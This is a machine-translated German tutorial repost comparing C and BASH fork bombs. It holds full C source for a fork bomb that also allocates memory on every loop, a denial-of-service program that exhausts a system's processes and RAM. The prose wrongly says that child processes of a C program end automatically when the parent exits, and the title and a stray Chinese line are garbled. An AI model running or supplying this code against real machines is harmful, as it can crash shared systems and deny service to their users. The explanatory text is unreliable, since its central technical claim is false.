Heim  >  Artikel  >  Backend-Entwicklung  >  In C/C++ bedeutet C vs. BASH Fork Bomb die Fork Bomb der C-Sprache und der BASH-Sprache.

In C/C++ bedeutet C vs. BASH Fork Bomb die Fork Bomb der C-Sprache und der BASH-Sprache.

WBOY
WBOYnach vorne
2023-09-14 19:41:021349Durchsuche

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

Es wurde festgestellt, dass die BASH-Fork-Bombe viel leistungsfähiger ist als ihr C-Programm-Pendant. Der Hauptgrund ist, dass der in BASH erstellte Prozess vom übergeordneten Prozess getrennt ist. Wenn der übergeordnete Prozess (der, den wir ursprünglich gestartet haben) zerstört oder beendet wird, bleiben die verbleibenden Prozesse bestehen. Bei der C-Implementierung werden die aufgelisteten untergeordneten Prozesse jedoch automatisch beendet, wenn der übergeordnete Prozess zerstört oder beendet wird. Das Skript ist für die direkte Kommunikation mit dem System verantwortlich.

Das C-Sprachgabelbombenprogramm kann aktualisiert oder geändert werden. Wir können beim Erstellen des Fork-Prozesses Speicher im Programm zuweisen.

Das folgende Programm gilt als Implementierung einer modifizierten C-Gabel-Bombe -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

Das obige ist der detaillierte Inhalt vonIn C/C++ bedeutet C vs. BASH Fork Bomb die Fork Bomb der C-Sprache und der BASH-Sprache.. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:tutorialspoint.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen
Vorheriger Artikel:Einschränkungen der C-SpracheNächster Artikel:Einschränkungen der C-Sprache